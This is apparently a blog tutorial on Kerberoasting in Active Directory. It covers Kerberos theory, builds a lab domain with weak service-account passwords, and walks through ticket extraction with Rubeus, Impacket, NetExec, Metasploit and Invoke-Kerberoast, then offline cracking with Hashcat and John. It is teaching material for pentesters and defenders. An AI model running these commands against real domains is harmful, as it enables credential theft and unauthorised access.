
Kerberoasting: A Complete Guide from Theory to Exploitation in Active Directory
How any authenticated domain user can extract service account password hashes from Active Directory using legitimate Kerberos functionality, and crack them offline. Theory grounded in RFC 4120, lab setup, multiple exploitation paths, and cracking strategies.
TL;DR
Kerberoasting is a post-exploitation technique that allows any authenticated domain user to request Kerberos Service Tickets (TGS) for accounts with registered SPNs, extract the password hash from the encrypted portion of the ticket, and crack it offline. The attack abuses legitimate protocol behavior — not a vulnerability — and targets service accounts with weak passwords and RC4 encryption. No elevated privileges required, no significant alerts generated.
- MITRE ATT&CK: T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting
- Tactic: Credential Access
- Platform: Windows
Introduction
Kerberoasting is a post-exploitation technique that allows an attacker with authenticated access to an Active Directory domain to extract password hashes from service accounts and crack them offline without generating significant alerts on the network. The attack was publicly presented by Tim Medin at DerbyCon 2014 and has since become one of the most widely used approaches in pentests and Red Team operations against AD environments.
What makes Kerberoasting particularly dangerous is that it abuses legitimate Kerberos protocol functionality. There is no "vulnerability" in the traditional sense. The problem lies in the combination of protocol design (where any user can request service tickets) and common operational practices (service accounts with weak passwords and RC4 encryption).
Fundamental prerequisite: Kerberoasting requires at least one authenticated user in the domain. This is because requesting a Service Ticket (TGS-REQ) from the KDC requires presenting a valid TGT, and to obtain that TGT the client must authenticate through the AS Exchange with valid credentials. Without a TGT, the KDC simply rejects the request. For this reason, every tool demonstrated in this post (Rubeus, Impacket, NXC, etc.) requires domain credentials such as impacket-GetUserSPNs -request -dc-ip <DC_IP> evilcorp.local/john.doe:'password'. The barrier to entry is low (any user works, no privileges required), but it exists.
This post explains the theory grounded in RFC 4120, walks through the configuration of a lab environment, covers multiple exploitation paths (Windows and Linux) and details cracking strategies.
Kerberos protocol fundamentals
Overview (RFC 4120)
Kerberos V5, specified in RFC 4120 (July 2005), is a network authentication protocol based on symmetric-key cryptography that uses a trusted third party, the Key Distribution Center (KDC), to mediate authentication between clients and services. The protocol was developed by MIT and serves as the foundation for authentication in Microsoft Active Directory environments.
As described in the RFC, the protocol operates through distinct exchanges.
Authentication Service Exchange (AS Exchange): The client sends a request to the AS asking for a Ticket-Granting Ticket (TGT). The response is encrypted with the client's secret key (derived from the password). This TGT will be used subsequently in interactions with the Ticket-Granting Server.
Ticket-Granting Service Exchange (TGS Exchange): When the client needs to access a service, it presents the TGT to the TGS along with the Service Principal Name (SPN) of the desired service. The TGS responds with a Service Ticket (ST), whose encrypted portion is encrypted using the secret key of the service account.
Application Exchange (AP Exchange): The client presents the Service Ticket to the application server to gain access to the resource.
The diagram below illustrates this complete flow between the Client (john.doe), the KDC (EVILCORP-DC01) and the Service (MSSQLSvc):
Client (john.doe) KDC (EVILCORP-DC01) Service (MSSQLSvc)
│ │ │
│ 1. AS Exchange │ │
│ │ │
│── AS-REQ ──────────────────>│ │
│ (username + encrypted timestamp) │
│ │ │
│<──────────────────── AS-REP │ │
│ (TGT + session key) │ │
│ │ │
│ [Client holds TGT] │ │
│ │ │
│ 2. TGS Exchange │ │
│ │ │
│── TGS-REQ ─────────────────>│ │
│ (TGT + target SPN) │ │
│ │ │
│<─────────────────── TGS-REP │ │
│ (Service Ticket) │ │
│ │ │
│ ╔════════════════════════════════════════╗ │
│ ║ ST encrypted with service account hash ║ │
│ ╚════════════════════════════════════════╝ │
│ │ │
│ 3. AP Exchange │ │
│ │ │
│── AP-REQ ──────────────────────────────────────────────>│
│ (Service Ticket + Authenticator) │
│ │ │
│<──────────────────────────────────────────────── AP-REP │
│ (access granted) │
│ │ │
│ [Service decrypts ST and validates] │
│ │ │
Service Principal Names (SPNs)
SPNs are unique identifiers for service instances in Active Directory. They bind a network service to a service logon account in the domain. Common examples include HTTP/webserver.evilcorp.local for a web service, MSSQLSvc/sqlserver.evilcorp.local:1433 for SQL Server, and exchangeMDB/mailserver.evilcorp.local for Exchange.
The critical point is that, as defined in RFC 4120, the KDC does not verify whether the requesting user has authorization to access the service. That validation only occurs when connecting to the service itself. This means any authenticated domain user can request a Service Ticket for any registered SPN.
The exploited weakness
The Service Ticket contains a portion encrypted with the key derived from the service account password. The client partially knows the content of this encrypted portion (for example, the SPN and the session key), which enables a Known-Plaintext Attack (KPA) cryptanalysis.
The success of this cryptanalysis depends on two factors: the complexity of the service account password and the encryption algorithm used. The RC4 algorithm (etype 23) is significantly easier to crack than AES (etypes 17 and 18). By default, user accounts in AD do not enforce AES, making RC4 the algorithm used by the KDC when issuing the Service Ticket.
Machine accounts vs. user accounts
Not all accounts with SPNs are equally vulnerable.
Computer accounts: Managed by the domain controller, they have randomly generated 120-character passwords that are automatically renewed every 30 days. Cracking these passwords via brute force is computationally infeasible.
Managed Service Accounts (MSA) and Group Managed Service Accounts (gMSA): These also have complex passwords with automatic rotation, making them resistant to Kerberoasting.
User accounts with SPNs: These are the primary target. These accounts frequently have human-defined passwords, no automatic rotation and no AES encryption enforcement — the perfect combination for the attack.
The krbtgt account (the KDC's own service account) also has an SPN, but its password is equally complex at 120 characters, making it impractical as a target.
Lab configuration
The lab used in this post is intentionally simple: a single Windows Server machine acting as the Domain Controller. The attacking machine can be any Linux distribution with the necessary tools (Kali Linux is the most common choice) or the DC itself if the goal is to demonstrate exploitation from a Windows session.
Topology
| Machine | Role | OS |
|---|---|---|
| EVILCORP-DC01 | Domain Controller | Windows Server 2019/2022 |
| Attacker | Attack machine | Linux |
Domain: evilcorp.local
All Active Directory infrastructure resides on EVILCORP-DC01: DNS, LDAP, Kerberos (port 88) and the KDC. Since we only have the DC, Windows attacks will be executed directly on it (simulating a scenario where the attacker obtained an RDP session or shell on the machine) and Linux attacks will be performed over the network from the attacker machine.
Preparing the Domain Controller (EVILCORP-DC01)
After promoting the server to Domain Controller with the domain evilcorp.local, the following steps prepare the vulnerable environment.
a) Create the vulnerable service accounts:
# PowerShell as Administrator on EVILCORP-DC01
# Service account 1 — MSSQL
New-ADUser -Name "svc_mssql" -SamAccountName "svc_mssql" `
-UserPrincipalName "[email protected]" `
-AccountPassword (ConvertTo-SecureString "Strawberry1" -AsPlainText -Force) `
-Enabled $true -PasswordNeverExpires $true `
-Description "Service account for MSSQL"
# Service account 2 — HTTP/IIS
New-ADUser -Name "svc_http" -SamAccountName "svc_http" `
-UserPrincipalName "[email protected]" `
-AccountPassword (ConvertTo-SecureString "Sunshine1" -AsPlainText -Force) `
-Enabled $true -PasswordNeverExpires $true `
-Description "Service account for IIS"
b) Register SPNs for each account:
setspn -a MSSQLSvc/EVILCORP-DC01.evilcorp.local:1433 evilcorp\svc_mssql
setspn -a HTTP/EVILCORP-DC01.evilcorp.local evilcorp\svc_http
c) Verify the registered SPNs:
setspn -L svc_mssql
# Expected output:
# Registered ServicePrincipalNames for CN=svc_mssql,CN=Users,DC=evilcorp,DC=local:
# MSSQLSvc/EVILCORP-DC01.evilcorp.local:1433
setspn -L svc_http
# Expected output:
# Registered ServicePrincipalNames for CN=svc_http,CN=Users,DC=evilcorp,DC=local:
# HTTP/EVILCORP-DC01.evilcorp.local
d) Configure supported encryption types on the service accounts:
Kerberoasting depends on the KDC issuing the Service Ticket with RC4 encryption (etype 23), which is the most viable for offline cracking. The msDS-SupportedEncryptionTypes attribute controls which algorithms the KDC can use to encrypt the ticket for that account. The value 28 enables RC4 (4) + AES128 (8) + AES256 (16), which is the default scenario in real corporate environments that have not yet applied Kerberos encryption hardening:
Set-ADUser svc_mssql -Replace @{'msDS-SupportedEncryptionTypes' = 28}
Set-ADUser svc_http -Replace @{'msDS-SupportedEncryptionTypes' = 28}
Additionally, verify that the domain Group Policy allows RC4. In gpedit.msc, navigate to:
Computer Configuration → Windows Settings → Security Settings →
Local Policies → Security Options →
"Network security: Configure encryption types allowed for Kerberos"
Confirm that RC4_HMAC_MD5 is checked (along with AES128 and AES256). If changes are made, apply with:
gpupdate /force
e) Create a low-privilege domain user (simulates the attacker):
New-ADUser -Name "john.doe" -SamAccountName "john.doe" `
-UserPrincipalName "[email protected]" `
-AccountPassword (ConvertTo-SecureString "Welcome2024!" -AsPlainText -Force) `
-Enabled $true `
-Description "Regular domain user"
Required tools
On EVILCORP-DC01 (or any domain-joined Windows machine):
Rubeus (.NET tool for Kerberos interaction), PowerShell with the Invoke-Kerberoast module (from the Empire project) and the Active Directory PowerShell module (already installed on the DC).
On the attacking machine (Linux):
Impacket (impacket-GetUserSPNs), NXC / NetExec (successor to CrackMapExec), targetedKerberoast, Hashcat and/or John the Ripper, and wordlists (rockyou.txt, SecLists).
Installing Impacket:
git clone https://github.com/fortra/impacket.git
cd impacket
pip install -r requirements.txt
python3 setup.py install
Identifying vulnerable accounts
Before exploiting, it is necessary to identify which accounts have registered SPNs and are potentially vulnerable. The search uses LDAP queries to locate user accounts (not machine accounts) that have the servicePrincipalName attribute populated.
The LDAP query
The canonical LDAP query for finding "kerberoastable" accounts is:
(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
This query filters for user accounts (samAccountType=805306368) that have an SPN, excluding the krbtgt account and disabled accounts (via bitwise AND on UserAccountControl). Tools like Rubeus, Impacket and NXC execute this query internally. For ldapsearch (OpenLDAP), the extensible match filter with OID 1.2.840.113556.1.4.803 is not supported, so use the simplified version below.
ldapsearch (Linux):
ldapsearch -x -H ldap://<DC_IP> -D "[email protected]" -w 'Welcome2024!' \
-b "DC=evilcorp,DC=local" \
'(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt)))' \
sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
Impacket-GetUserSPNs (Linux):
impacket-GetUserSPNs -dc-ip <DC_IP> evilcorp.local/john.doe:'Welcome2024!'
NXC / NetExec (Linux):
nxc ldap <DC_IP> -u john.doe -p 'Welcome2024!' --kerberoasting output.txt
ldeep (Linux):
ldeep ldap -u john.doe -p 'Welcome2024!' -d evilcorp.local -s ldap://<DC_IP> users spn
PowerShell AD Module (EVILCORP-DC01):
Get-ADUser -Filter 'ServicePrincipalName -like "*"' `
-Properties ServicePrincipalName, MemberOf, PasswordLastSet, `
msDS-SupportedEncryptionTypes | `
Select-Object SamAccountName, ServicePrincipalName, `
PasswordLastSet, msDS-SupportedEncryptionTypes
The msDS-SupportedEncryptionTypes attribute is particularly important: if it is empty or configured to support RC4, the account is a high-priority target.
BloodHound / SharpHound
BloodHound is especially useful because it goes beyond simple SPN enumeration. It correlates kerberoastable accounts with their privileges in the domain, showing whether the account has a path to Domain Admins or other high-value groups.
First, collect domain data with SharpHound (Windows) or BloodHound.py (Linux):
# SharpHound (on EVILCORP-DC01 or any domain-joined machine)
.\SharpHound.exe -c All
# BloodHound.py (Linux)
bloodhound-python -u john.doe -p 'Welcome2024!' -d evilcorp.local -ns <DC_IP> -c All
After importing the data into BloodHound, use the pre-built query "List all Kerberoastable Accounts" in the Analysis tab. The Cypher query that BloodHound executes internally is:
MATCH (u:User)
WHERE u.hasspn = true
AND u.enabled = true
AND NOT u.objectid ENDS WITH '-502'
AND NOT COALESCE(u.gmsa, false) = true
AND NOT COALESCE(u.msa, false) = true
RETURN u
LIMIT 100
This query filters enabled user accounts with an SPN, excluding the krbtgt account (RID 502), Group Managed Service Accounts (gMSA) and Managed Service Accounts (MSA), which have 120-character passwords with automatic rotation and are infeasible to crack.
In a real pentest, the most valuable query is the one that cross-references kerberoastable accounts with paths to privileged groups. It only returns results if such a path exists in the domain. In small labs like ours (where svc_mssql has no elevated privileges), the result will be empty, which is expected:
MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group)
WHERE g.name =~ "(?i).*domain admins.*"
RETURN u.name, u.serviceprincipalnames
The differentiator of BloodHound compared to other tools is precisely this correlation: in a real domain with hundreds of service accounts, it allows you to prioritize which account to kerberoast first based on impact. An account with an SPN that is a member of Domain Admins is infinitely more valuable than an isolated service account.
Exploitation
The diagram below summarizes the complete Kerberoasting attack flow, from SPN enumeration to obtaining the cleartext password:
Attacker (john.doe) KDC (EVILCORP-DC01)
low privilege Port 88 — Kerberos
│ │
[1] │ Enumerate SPNs via LDAP │
│ │
│── LDAP: servicePrincipalName=* ────────>│
│<─────────────────── svc_mssql, svc_http │
│ │
[2] │ Request Service Ticket (TGS-REQ) │
│ │
│── TGS-REQ: SPN = MSSQLSvc/... ─────────>│
│ │
[3] │ KDC returns ticket (no access check) │
│ │
│<────────────── TGS-REP: $krb5tgs$23$... │
│ │
│ ╔══════════════════════════════╗ │
│ ║ Encrypted with svc_mssql key ║ │
│ ╚══════════════════════════════╝ │
│ │
[4] │ Offline cracking (no network traffic)
│
│ ┌────────────────────────────────────┐
│ │ Hashcat / John the Ripper │
│ │ hashcat -m 13100 hash.txt rockyou │
│ │ Result: Strawberry1 │
│ └────────────────────────────────────┘
│
[5] │ Access with service account credentials
│
│ ╔══════════════════════════════════════════════════════════╗
│ ║ svc_mssql : Strawberry1 -> lateral movement / escalation ║
│ ╚══════════════════════════════════════════════════════════╝
Rubeus (Windows — EVILCORP-DC01)
Rubeus is the standard tool for Kerberoasting in Windows environments. Open a session as the user john.doe (or any authenticated domain user) and run:
.\Rubeus.exe kerberoast /outfile:C:\Temp\hashes.kerberoast
Expected output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.2
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : evilcorp.local
[*] Searching path 'LDAP://EVILCORP-DC01.evilcorp.local/DC=evilcorp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 2
[*] SamAccountName : svc_mssql
[*] DistinguishedName : CN=svc_mssql,CN=Users,DC=evilcorp,DC=local
[*] ServicePrincipalName : MSSQLSvc/EVILCORP-DC01.evilcorp.local:1433
[*] PwdLastSet : 9/13/2026 11:13:37 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash written to C:\Temp\hashes.kerberoast
[*] SamAccountName : svc_http
[*] DistinguishedName : CN=svc_http,CN=Users,DC=evilcorp,DC=local
[*] ServicePrincipalName : HTTP/EVILCORP-DC01.evilcorp.local
[*] PwdLastSet : 9/13/2026 11:14:02 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash written to C:\Temp\hashes.kerberoast
Useful Rubeus variations:
# Force RC4 even on AES-enabled accounts (via TGT delegation)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:C:\Temp\hashes.kerberoast
# Targeted kerberoast against a single user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:C:\Temp\hashes.kerberoast
# Compact format (single-line hash, no line breaks)
.\Rubeus.exe kerberoast /nowrap /simple
Impacket-GetUserSPNs (Linux)
The GetUserSPNs.py tool from Impacket is the primary option for Kerberoasting from Linux. Since the attacking machine is not joined to the domain, credentials must be provided:
impacket-GetUserSPNs -dc-ip <DC_IP> evilcorp.local/john.doe:'Welcome2024!'
Expected output:
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------------------------ --------- -------- -------------------------- --------- ----------
MSSQLSvc/EVILCORP-DC01.evilcorp.local:1433 svc_mssql 2026-09-13 23:13:37.683019 <never>
HTTP/EVILCORP-DC01.evilcorp.local svc_http 2026-09-13 23:14:02.451337 <never>
To request the TGS-REP and obtain the hash, add the -request flag:
impacket-GetUserSPNs -request -dc-ip <DC_IP> evilcorp.local/john.doe:'Welcome2024!'
The output will include the hash in the format $krb5tgs$23$*svc_mssql$EVILCORP.LOCAL$... ready for cracking. To save directly to a file:
impacket-GetUserSPNs -request -dc-ip <DC_IP> \
evilcorp.local/john.doe:'Welcome2024!' \
-outputfile hashes.kerberoast
Note on Clock Skew: If the error
KRB_AP_ERR_SKEW (Clock skew too great)occurs, this indicates time drift between the attacking machine and EVILCORP-DC01. Rather than modifying the system clock, usefaketimeto adjust the time only for the Impacket process. Query the DC's time withntpdateand pass it tofaketime:ntpdate -q <DC_IP> faketime '<DC_time>' impacket-GetUserSPNs -request -dc-ip <DC_IP> evilcorp.local/john.doe:'Welcome2024!'
NXC / NetExec (Linux)
NXC (formerly CrackMapExec) performs enumeration and hash extraction in a single command:
nxc ldap <DC_IP> -u john.doe -p 'Welcome2024!' --kerberoasting hashes.txt
targetedKerberoast (Linux)
Useful tool for targeted attacks with verbose output:
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
cd targetedKerberoast
python3 targetedKerberoast.py \
--dc-ip <DC_IP> \
-v \
-d 'evilcorp.local' \
-u 'john.doe' \
-p 'Welcome2024!'
Metasploit (Linux)
Metasploit has a dedicated auxiliary module that queries LDAP and requests tickets automatically:
msfconsole
use auxiliary/gather/get_user_spns
set RHOSTS <DC_IP>
set DOMAIN evilcorp.local
set USER john.doe
set PASS Welcome2024!
run
PowerShell Invoke-Kerberoast (Windows — EVILCORP-DC01)
Script from the Empire project, useful when Rubeus is not available on the machine:
Powershell -ep bypass
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast | Export-CSV -NoTypeInformation C:\Temp\kerberoast_output.csv
Or to extract the hash directly in Hashcat-compatible format:
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
Cracking the hashes
Format and mode identification
The extracted hash follows the format $krb5tgs$XX$*..., where XX indicates the encryption type used:
| XX Value | Algorithm | Hashcat Mode | Cracking Difficulty |
|---|---|---|---|
| 23 | RC4_HMAC (etype 23) | 13100 | Easier |
| 17 | AES128 (etype 17) | 19600 | Harder |
| 18 | AES256 (etype 18) | 19700 | Harder |
To verify the correct mode in Hashcat:
hashcat --help | grep -i "Kerberos"
Cracking with Hashcat
# For RC4 hashes (etype 23) — most common case
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# For AES256 hashes (etype 18)
hashcat -m 19700 hashes.kerberoast /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
Cracking with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=KoreLogic hashes.kerberoast
Or using a SecLists wordlist:
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt \
--rules hashes.kerberoast
Expected result
When the hash is successfully cracked, the output reveals the cleartext password:
$krb5tgs$23$*svc_mssql$EVILCORP.LOCAL$evilcorp.local/svc_mssql*$a1b2c3d4...
...f9e8d7c6:Strawberry1
From here, the attacker can authenticate as the service account and, depending on that account's privileges, perform lateral movement, privilege escalation or access sensitive data. Validate the obtained access with:
nxc smb <DC_IP> -u svc_mssql -p 'Strawberry1' --shares
References
- RFC 4120 — The Kerberos Network Authentication Service (V5), C. Neuman et al., July 2005 — rfc-editor.org
- MS-KILE — Kerberos Protocol Extensions, Microsoft — learn.microsoft.com
- MITRE ATT&CK T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting — attack.mitre.org
- Fluid Attacks — Roasting Kerberos: Attacking a DC using Kerberoast — fluidattacks.com
- Hacking Articles — Kerberoasting Attack in Active Directory — hackingarticles.in
- Vaadata — What is Kerberoasting? Attack and Security Tips Explained — vaadata.com
- Tim Medin — Attacking Kerberos: Kicking the Guard Dog of Hades, DerbyCon 2014
- Rubeus — github.com/GhostPack/Rubeus
- Impacket — github.com/fortra/impacket
- targetedKerberoast — github.com/ShutdownRepo/targetedKerberoast